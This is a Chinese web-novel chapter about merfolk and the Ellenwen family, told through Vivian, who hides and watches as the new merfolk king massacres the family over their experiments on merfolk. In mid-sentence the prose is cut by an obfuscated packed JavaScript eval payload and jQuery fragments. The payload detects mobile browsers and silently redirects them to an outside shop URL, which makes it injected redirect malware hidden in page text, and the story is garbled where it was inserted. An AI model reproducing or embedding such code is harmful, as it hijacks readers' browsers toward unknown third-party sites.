“这扇门后是那个会议室。”老埃伦温的手碰上了厚重的门,他重重推开大门,尘封已久的房间暴露在两人面前,灰尘于空中飞舞。
“这里会召开家族会议,与人鱼的会议?”薇薇安望见修长的木桌,十几把椅子整齐地摆在两侧,头尾各摆着一把建工细致的半式躺椅,通风系统不停运转,从未停歇。
“是的,每十年召开一次会议。”老埃伦温陷入回忆,他说,“一般是人鱼的人类代表来,偶尔是人鱼之王,如果她有兴致的话。”
“其他人鱼无法上岸?”
“对,只有人鱼之王才能化成人形上岸,我们也不知道原因。”老埃伦温话锋一转,他叫薇薇安推他进去。
两人穿过木门,进入了房间内部。
薇薇安接受到老埃伦温的眼神,她关上了门。
“我本该永远瞒着这些事情的。”老埃伦温内疚地瞧着她,语气缓慢,声音延长,“你和埃伦温家族没有关系,不该背负上这些事情。”
沉重的声音敲打着薇薇安,她倏地有了不祥的预感。
“埃伦温家族背叛了人鱼……”
他轻声道,薇薇安瞬间闭上了眼睛,连着呼吸也重了几分。
几秒后,她再次睁眼:“说吧,我已经听到了。”
“我爷爷的爷爷曾偷偷捕捞过几条人鱼,妄图借助他们的力量得到更多的金子,但这事被罗森伯格知道了,她狠狠惩罚了我的祖先,甚至说要断开双方的交易。
“我的祖先很快低头道歉,试图挽回双方之间的情谊,可罗森伯格呢,那伟大的人鱼之王,她已经联系了其他人类,不再只和埃伦温家族进行交易。明明事情并没有到那一步,她凭什么撕毁约定!”老埃伦温说着说着,又开始咳嗽,薇薇安伸出左手,帮他顺气。
她好想笑。
但她什么表情也没有,十多年的格式化生活造就了她如今的面貌,她忽然发觉,她连笑一笑都异常艰难,好像一笑,那人就不是薇薇安·埃伦温了。
“我得抓紧时间,孩子,说到哪里了,她率先打翻了天平,那我们就没必要坚守了,我的爷爷派出卧底,他们蛰伏了几十年,带回了一个惊天秘密。”
“人鱼并未强大得无法打败,他们有力量,可那是蛮力,而我们拥有智慧,这一点足以杀死这个种群。他们的胸口有一片鳞片,连接着心脏,它十分坚硬,只有人鱼才能拿下那片鳞片。”
“然后呢?”薇薇安问他,她忽然摸了一下手机,什么也没多说。
老埃伦温没听出来她情绪的变化,他说:“捏碎那片鳞片,他们也就死了。这是我的爷爷,我的父亲,以及我,我们三代实验得出的答案。”
“可怎么让他们自愿地拿下鳞片呢?”薇薇安精准抓住了他想听到的问题,老埃伦温若是在此刻转头,就能看见真实的薇薇安,精致的脸上裂开了一道痕迹,棕红色眼眸沉入黑暗,眼底泛起滔天怒意。
她真的想杀死这个人。
“那很简单,那片鳞片是人鱼传递情感的方式。”他理性地吐出几个单词,传入了薇薇安的耳朵那刻,转变成了刺耳的话音。
“你们做过实验?”
她没了敬语。老埃伦温意识到了这点,他下意识转头扫视对方,仍旧那副表情,平淡冷静,眼里没有任何别的情绪,很好,她还是她,他满意的“女儿”。
老埃伦温激动地讲起长达三代的实验,他们派人偷人鱼,单单这项行动就付出了几百人的生命,好不容易捕获到一条,进行了几百场实验后,它被折磨至死。
他们仍未研究出快速杀死人鱼的办法。不过从那条人鱼模糊不清的言语中,他们得知胸口鳞片的重要性。
接下来的计划十分顺利,他们派人诱惑人鱼,让他们主动摘下鳞片,当着他们的面将其粉碎,一条条生命从中溜走,埃伦温家族顺利掌握了制裁人鱼的办法。
“就在这时,就在前几天,”老埃伦温的声音陡然提高,他恍惚不定,眼中流过忧伤,他哽咽着,仿佛某些光辉的日子彻底迎来了落日,良久没有起伏的声音露出一丝破绽:“上一任人鱼之王陨落了。”
薇薇安没有回应,空气凝固,时间暂停,一切变成了电影画面,永远地停留在那一刹,她重复问了一遍,这种重复失去了从前的冷漠感、疏远感,复杂的情绪成了凌乱的语序,她双目无神,甚至忘了自己身在何处。
“对,盘踞王位百年的格温妮丝·罗森伯格陨落了,哦,我忘了告诉你那件事,人鱼之间有王位之争,十年一次,赢者成为王,输者将被撕成碎片,沉入海底,成为海洋生物的吃食。
“她失败了,讲真的,我从来不觉得她会失败、她会死亡,她永远如此美丽强大,什么都不放在眼里,她该永远活着啊。”老埃伦温还没讲完,过道外忽然响起一阵动静。
有人匆匆,有人不慌不乱,脚步时快时慢,优雅从容与害怕惊讶融入同一支“舞曲”,同时唤醒老埃伦温的神志。
“哦该死,我怎么忘了这件事情,”老埃伦温匆忙吩咐薇薇安,脸色略显焦躁,“快去后门躲着,那儿有个暗层。”
“发生什么了?”薇薇安边走边问。
老埃伦温捂着头,自己操控轮椅走向长桌一侧:“新的人鱼之王出现了,他今日来家族谈新交易,孩子,快藏起来。听人类代表说,新的人鱼之王残暴无度,他不会放过任何一个未签订知情合同的局外人。如果你被发现了,我也保护不了你。”
薇薇安听完,盯着仅能藏一人的暗层,她点头,攥紧手机,挤了进去。她抵着墙,外面的光从缝中泄进,她只能借助一缕发丝般细的缝,观察外面的情况。
老埃伦温终于挪到了位子上,他收敛神情,将自己挪进了半式躺椅,他咳了几声。
与此同时,脚步声渐渐变大,皮鞋踏上了木板,空气变得湿润,隐形的压力让周围人喘不过气。精致的黑伞伞尖落在地板上,发出轻微响声,一双骨节分明的手握着伞柄,将伞放入伞架。
四周一片空寂,人们屏住呼吸,不敢乱动。门口的家族成员轻微抖动身子,满头大汗,却咬着嘴唇,从未发生。在绝对力量面前,保持缄默才有活下去的可能。
薇薇安什么也看不见,她的视野仅有一截黑色西装袖子,以及那只刚刚放下伞的手。那只手很白,修长又充满力量,皮肤下的青筋若隐若现。
那是个男人。
老埃伦温站起,他打破了沉默:“很抱歉,我的身体不好,各种器官接连衰败,没法欢迎您的到来。”
族长发话,门口的人们瞬间放松,心中高悬的石头落地,但他们仍没动。
薇薇安等待他开口。她想听听杀死格温妮丝的人鱼的声音,想看看他的模样。是如何一条鱼,谋杀了人鱼之王。
对方松开了手,黑伞稳当地坠入伞架,发出刺耳的声音,好似代表了他的不满。
他什么都没说,往前走了一步,站在桌前,轻笑了一声。
薇薇安瞧见了他的头发,散发着银光的白发,不是那种苍老、几近暮年的白发,而是充满光泽,很光滑的头发。
她还是看不见他的脸。
“坐吧。”他吐出了几个单词。
低沉、富有磁性,缓缓如海水,却不像淡蓝且平静的海水,那更接近冰冷的深海,充满威胁的深渊,它混入了上位者和高等生物的傲慢,从头到尾充斥着不屑。
薇薇安紧紧握住手机没动,她眯着眼睛,来回移动视线,窥探暗层之外。
她讨厌这个声音。
“还站那儿做什么?”老埃伦温示意家族成员过来,说,“赶紧坐下,别浪费……”
话未说完,两枚尖锐的石刀刺入站在前面的两人,石刀割破他们的喉咙,鲜血飞溅,溅满了桌子,洒出一幅骇人的无规则画,滴答地落在地上。
他们扑通倒下,满脸不可思议,捂着脖子,但无法发声。
“抱歉,今天心情不好。”那人拉开椅子,坐了下来,十指交叉,平视另一头站着的老埃伦温,“请你的族人坐下吧,再慢点,我就管不住自己了。”
老埃伦温忽视了地上的死人,严肃命令其他人赶紧入座。
暗层里的薇薇安稍稍侧身,趁他们入座时喘了口气。
“斯图亚特阁下,请稍等。”老埃伦温给恩德使眼色,对方很快端来了一瓶昂贵红酒,“恩德马上拿来上次签署的合同,您看看有那些地方需要修改?”
“你的庄园今晚在做什么?”对方丝毫不把老埃伦温的话放在耳边,反而问了另一个毫不相关的问题。
老埃伦温一面揣测他的意图,一面扯着笑脸回答:“今晚举办了一些活动,很抱歉让此事打扰了我们的会议。”
“我没看出来你的抱歉,”对方接下来的话令老埃伦温大惊失色,“不用拿合同了。”
“先生,那是从古传下来的合同。”
每任人鱼之王都要重新签过。
老埃伦温把后半段话咽进肚子。眼前的人鱼之王,根本不像前面几任,好吧,他接触过一位人鱼之王,格温妮丝·罗森伯格,她温柔待人,很少在人前展示凶狠的一面,更多是与他们款款而谈,微笑着聊天。
她几乎不动手。
老埃伦温直面新任人鱼之王,试图从他眼里找到熟悉的影子,可完全没有。
他眼中唯剩高傲、轻视,那是来自高级生物的蔑视。他们强大,几乎百毒不侵,又能隐入海洋,受到的威胁少之又少。而人类呢?艳羡他们,却又不满足于普通交易,妄图控制他们,以获得自己想获得的。
老埃伦温才明白,他们不是同类。面前的人有着毁灭一切的力量,甚至能轻松杀死他。
人鱼之王什么都没说,空气又一次陷入沉寂。暗层里的薇薇安被闷热的空气捂出薄汗,她咽了咽口水,尽量降低动作的幅度。
“别紧张,”他还是开口了,声音听起来十分愉悦,“这仅是个闲聊话题,抱歉,我刚成人形,也没太了解人类社会。很多行为是按照我的意愿理解进行的。”
“不,不先生,这不是你……”坐在人鱼之王左手边的家族成员眼见对方软了性子,便立刻顺着他的话说,试图得到他的青睐。
“砰——”他炸成了花,子弹穿透他的身子,落在后面的软墙上,留下深深的印子。
滚烫的枪口贴着冰冷桌面,白雾聚了又散,很快不见,开枪者往后一仰,侧头凝视其他家族成员,眼眸倒影着玩味。
薇薇安还是看不见。
那个人很高,即便侧身歪头,依旧只能看见脖子。细细的血管埋于皮肤之下,与其形成鲜明反差。
“我好像没和他说话,”对方懒散开口,“你说呢,凯斯·埃伦温。”
“您说得没问题,合同应该与时俱进,或许今日我们应起草一个新合同。”老埃伦温活了大半辈子,第一次从别人口中听见自己的名字,他瞧着倒地的三人,不能再死人了,知情的家族成员共有十位,培养一个的成本太大了。他不能赌。
“这样吗?”人鱼之王话锋一转,挑眉说,“但合同对我们没有约束力。”
“您是对的,可签订合同是自古的习惯。我们希望借助合同顺利完成交易,”老埃伦温停顿了几秒,他知道对方想说什么了,“您知道,人类自身的欲|望难以用合同以外的方式约束。”
“嗯,我也这么觉得,人类确实很贪婪,当然,我们这个种群同样避免不了这种情况,不过,”他将手搭在翘起的腿上,饶有趣味地说,“我想说的是,我们之间不必再继续交易了。”
“结束交易远比签订没意义的合同号好,你认为呢?私自捕猎人鱼,用我的同类做实验的埃伦温?”
他的声音在此刻带上了愠色,滔天怒火弥漫会议室,黏稠的海水味再次降临,湿度陡然上升,暗层里的薇薇安差点呼吸不过来。
她看见了他的尾巴,深蓝色、十分有力的粗长尾巴,它风暴般卷过会议室,鱼尾的倒刺猝然立起,人们崩溃逃跑,如同鸟兽四散,一个个人头倒地,惊恐的表情永远凝固在脸上。
尖叫回荡于此,携带着浓烈刺鼻的血腥席卷过来,它们化成了无形的恐怖,涌入每个尚未死亡的人的心中。
老埃伦温匆忙站起,他举着枪,往后退,却因腿脚不便失足一摔,撞上了暗层,他的腿不停抖动,嘴里无声地念叨着几个单词。
薇薇安听见了“疯子”、“刽子手”。
没等他继续说话,一双手掐住了他的脖子,恶狠狠地向后撞,振出巨大响声。
那条缝所展示的地板染上了一地鲜血,几个熟悉的面孔倒在血泊中,他们支离破碎,不堪入目。
薇薇安的心脏快要跳出来了,如果她猜得没错,她与人鱼之王只有一墙一人之隔,假使他发现了……他发现了……
她捂住了嘴,放低呼吸频率,她多么希望自己是个透明人。
“八条人鱼,正好。”人鱼之王面不改色地观察老埃伦温,他的手用力拧着他的喉咙,直到对方两眼翻白,他松开了手,老埃伦温扑通坠地,绝望地闭上眼。
“你杀了九个人。”
“加上第一条惨死的,哦,不对,他算不上完全无辜,无所谓了。”
“卡伦·斯图亚特,你竟敢……”老埃伦温好像自知生命到头了,他无所顾忌地喊出他的名字。
“啊!”他一声尖叫,剧烈的痛苦窜过全身,神经在发颤,灵魂悬于十字架上,经历反复鞭打。
“我讨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722408|208737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厌别人叫我名字。”人鱼之王从他体内抽出锋利的指甲,把血抹到了老埃伦温衣服上,他俯身靠近,威胁道,“你最好别讲话了,我怕我会忍不住。”
曾经风头十足,充满威慑感、动不动操刀杀人的埃伦温家族族长凯斯,在这一瞬变回了普通人,他能感知害怕,他能畏惧死亡,他在可怜地乞求。
薇薇安了解他,他犯下滔天罪行才会做出这般选择。
凯斯·埃伦温清楚自己做了离经叛道的行为,他该为自己的行为买单。
“我讨厌这里,我们不如出去聊聊,”斯图亚特粗暴地把埃伦温塞进轮椅,叫他盖上西装,随后他变回人形,边推边说,“我没有彻底杀死你的管家,等会叫他去接你。”
轮椅划过血泊,留下长长的痕迹。
薇薇安的额头全是汗,她抹了一把,静待他们离开。
动静越来越小,最后中庭传来一阵巨大的响声——
无数石头碎裂落地,闯进薇薇安的内心。
那个石像被砸了。
她冷静了一会儿,待外面彻底没了声响,她从暗层里飞出,冲向倒在角落的恩德,他的胸口划过一道深可见骨的伤痕,哪有那人说得没死!
薇薇安慌张摸出手机,准备打电话叫人,却被恩德按住了手臂:“小姐,不可以让其他人知道这件事情,会给埃伦温带来灭顶之灾的,你快上去,换一件衣服去宴会,千万千万不要靠近人工湖。”
“可是……可是……”薇薇安捂住嘴巴,落了几滴泪。
“别伤心了小姐,这些与你无关,今天是你的生日。”恩德用尽全力推了一把薇薇安,“快去小姐,斯图亚特就是疯子。”
薇薇安恋恋不舍地别离了恩德,她站在门口,伤心地望着恩德,最终坚定点头,头也不回地跑走了。
她穿过阴暗的地道,原路出去,绕开摄像头溜进了后院。她回了房间,洗掉身上的血腥味,换了一身干净的衣服,溜达到宴会厅。
宴会厅和半小时前没有区别,人们跳着欢快的舞曲,欢呼尖叫,完全不在乎宴会的主角——因为人们都说她不喜欢热闹,或许提前离席了。
薇薇安端着一杯红酒,出现在众人面前。
落单的男士们很快发现了她,相继上来欢迎她。
薇薇安瞥了一眼窗外,窗户倒影着室内的情景,她什么也看不见。她收回目光,笑着拒绝他们,可难以遮掩神色之间的疲惫。
“你觉得我不会知道墙后面有人?”斯图亚特远远地望着灯光下的女孩,她穿着一身火红长裙,金色长发卷曲垂下,耳朵挂了黑白交错的耳坠,面带微笑,但从未将任何人放进眼里。
她很好看。
斯图亚特低声笑,愉快的笑声在老埃伦温听来简直就是赤裸裸的威胁。
“请你不要对她动手,她是无辜的。”老埃伦温瘫在轮椅上,他绝望恳求。
斯图亚特垂下眼睛,压根没看丑陋的老埃伦温:“如果你不想让我杀她,又为什么让她藏进暗层?”
“你知道人鱼的嗅觉很灵敏,你知道我会发现她,你甚至怕我发现不了她,故意往后撞,撞上了那面墙。”
“凯斯,你想杀了她。”
斯图亚特点出对方的想法,愚蠢的人类用这种劣质的方式转移仇恨,居然敢利用他。
“别担心,”一把刀抵上了老埃伦温的后颈,他被冷得一颤,他听见了魔鬼的低语,“我会杀死所有埃伦温家族的人。”
“不,你不能这样!这和他们没关系!”
“那他们现在在享受什么?凭空而来的黄金造就、交换的东西?”斯图亚特说完,冷笑一声,没等轮椅里的人回答,他向下一扎,小刀穿过他的肩膀,将他牢牢定在轮椅上。
“死亡的诅咒会永远伴随埃伦温家族。”空灵的声音随风散去,慢慢远去,一阵冷风刮进凯斯的伤口,宛如恶鬼落下的烙印。
斯图亚特扭头盯着窗格里的女孩,记下了她的样貌,他转身跃进人工湖,消失不见。
“老爷!族长!”恩德急切的声音唤醒老埃伦温,他一晃神,侧头盯着脚边的恩德。
他拖着残缺的身体,一路爬过来,在人工湖旁边找到了老爷。
“他说要灭了埃伦温,抹去家族的名字,他说要报复我们!”长期积累的怨气与重担终于爆发,他走投无路,以至于丢掉了作为族长的冷静理智,刚才那场变故完全冲破了他的防线,“为什么他没有当上人鱼之王,一切都安排好了,为什么突生变故了!”
“一条残忍无道,枉顾人命的人鱼成了人鱼之王?!他随便大开杀戒,把埃伦温这三个字放在哪里了?”
“冷静老爷!”恩德声音沙哑,他满脸鲜血,伸手握住老埃伦温遍布皱纹的手,“一定有原因。”
“是啊,一定有原因的,”老埃伦温忽然笑了笑,他咧开嘴,眼珠染上血丝,四周安静无声,家族成员的尸体都凉了,夜色之下只剩他们二人。
“可究竟有什么原因呢?”他眯起眼睛,抬手握住刺入肩膀的刀,那是一把印有特殊暗纹的刀,曼珠沙华绚烂绽放,与黑夜融为一体,“他是怎么知道我们拿人鱼做实验的?你觉得呢,恩德?”
斯图亚特并没有告知他们信息的来源,他就是知道了,并回以残忍的报复。
他要杀死埃伦温这个姓氏,从头到尾,从里到外,作为最美妙的祭品,供上祭坛。
“家族里出了叛徒。”恩德跪在老埃伦温身边,他颤颤巍巍地掏出手机,打算联系暗线医生。
“对,你说得没错,家族出了叛徒,他胆大包天地把这件事情告诉了斯图亚特,他究竟是谁呢?”老埃伦温把眼睛迷成一条缝,他缓缓扭头,凝视恩德。
他端详这位跟了他几十年的管家。
岁月在他们身上留下了痕迹,他们都已老去,一身疲惫。
“恩德,这件事情只有我们几个知道。”老埃伦温轻声说,他身上的伤很重,可不减威慑,离开了具有威胁性的人鱼,他重新变回埃伦温家族德高望重的族长——无视一切,把控所有人的性命,令人畏惧。
“他们都死了,”他在说那几个惨死的家族成员,“你觉得谁会是泄密者?”
“不,老爷,这件事情需要从头分……”恩德绝望地盯着那把刀,它沾满了鲜血,在月光下闪闪发亮,刀尖凝成血珠,点点滴落,没入草丛,他摇头,嘴里吐出最后一句话,“不是我。”
老埃伦温捅死了他。
刀插在他的胸口,穿透他的身体,他受惯性向后倒去,睁大了眼睛,眼里倒影着恨意。
老埃伦温顺势拿走他手里的手机,叫了暗线医生,并且打断了薇薇安的生日会。
“叫薇薇安来找我。”